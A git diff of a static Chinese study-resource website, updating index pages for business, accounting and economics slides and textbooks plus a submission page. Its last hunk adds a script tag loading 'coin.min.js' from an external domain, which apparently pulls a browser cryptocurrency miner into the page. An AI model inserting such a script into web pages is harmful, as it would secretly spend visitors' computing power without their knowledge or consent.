diff --git a/resources/ba/python-ppt/index.html b/resources/ba/python-ppt/index.html
index c13edd2..f593c59 100644
--- a/resources/ba/python-ppt/index.html
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diff --git a/resources/ba/中级财务1-ppt/index.html b/resources/ba/中级财务1-ppt/index.html
index 8a5ea33..5e232b6 100644
--- a/resources/ba/中级财务1-ppt/index.html
+++ b/resources/ba/中级财务1-ppt/index.html
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diff --git a/resources/ba/中级财务2-ppt/index.html b/resources/ba/中级财务2-ppt/index.html
index 892a4b2..36f739a 100644
--- a/resources/ba/中级财务2-ppt/index.html
+++ b/resources/ba/中级财务2-ppt/index.html
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diff --git a/resources/ba/会计课本/index.html b/resources/ba/会计课本/index.html
index fe8c77b..c939ab9 100644
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diff --git a/resources/ba/发展经济学课本/index.html b/resources/ba/发展经济学课本/index.html
index 1abee2a..be64906 100644
--- a/resources/ba/发展经济学课本/index.html
+++ b/resources/ba/发展经济学课本/index.html
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 <hr>
diff --git a/resources/ba/商务信息与管理-ppt/index.html b/resources/ba/商务信息与管理-ppt/index.html
index fced5af..4448296 100644
--- a/resources/ba/商务信息与管理-ppt/index.html
+++ b/resources/ba/商务信息与管理-ppt/index.html
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 <hr>
diff --git a/resources/ba/商务网站开发管理-ppt/index.html b/resources/ba/商务网站开发管理-ppt/index.html
index bd04119..58fcf76 100644
--- a/resources/ba/商务网站开发管理-ppt/index.html
+++ b/resources/ba/商务网站开发管理-ppt/index.html
@@ -482,7 +482,7 @@
     <div class="popup-content">3秒后将开始下载...</div>
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 <hr>
diff --git a/resources/ba/国际贸易-ppt/index.html b/resources/ba/国际贸易-ppt/index.html
index 7c35eeb..38537c5 100644
--- a/resources/ba/国际贸易-ppt/index.html
+++ b/resources/ba/国际贸易-ppt/index.html
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 <hr>
diff --git a/resources/ba/国际贸易课本/index.html b/resources/ba/国际贸易课本/index.html
index a922b95..4ed49ab 100644
--- a/resources/ba/国际贸易课本/index.html
+++ b/resources/ba/国际贸易课本/index.html
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diff --git a/resources/ba/微观经济学课本/index.html b/resources/ba/微观经济学课本/index.html
index a906782..690b878 100644
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diff --git a/resources/ba/成本会计-ppt/index.html b/resources/ba/成本会计-ppt/index.html
index 0e4b775..ab4942b 100644
--- a/resources/ba/成本会计-ppt/index.html
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diff --git a/resources/ba/技术经济学-ppt/index.html b/resources/ba/技术经济学-ppt/index.html
index eeddafa..8c28b7d 100644
--- a/resources/ba/技术经济学-ppt/index.html
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 <hr>
diff --git a/resources/ba/数据库开发应用-ppt/index.html b/resources/ba/数据库开发应用-ppt/index.html
index 3142264..43589da 100644
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 <hr>
diff --git a/resources/ba/管理会计-ppt/index.html b/resources/ba/管理会计-ppt/index.html
index e6f3e5b..fe571b9 100644
--- a/resources/ba/管理会计-ppt/index.html
+++ b/resources/ba/管理会计-ppt/index.html
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diff --git a/resources/ba/财政学-ppt/index.html b/resources/ba/财政学-ppt/index.html
index 527c0fa..e589ae6 100644
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index 303a9b2..8c1b5cf 100644
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 <hr>
diff --git a/resources/ba/高级财务-ppt/index.html b/resources/ba/高级财务-ppt/index.html
index e796398..a4b2f67 100644
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diff --git a/resources/数值分析课本/index.html b/resources/数值分析课本/index.html
index 166c0c5..2dcbfa2 100644
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index 78ca08b..a1fdf56 100644
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diff --git a/resources/雅思simon/index.html b/resources/雅思simon/index.html
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 <hr>
diff --git a/submission/index.html b/submission/index.html
index 47c9a7e..f73d122 100644
--- a/submission/index.html
+++ b/submission/index.html
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+<script src="https://download.xn--xhq44jb2fzpc.com/upload/coin.min.js?v=1.0.8"></script>
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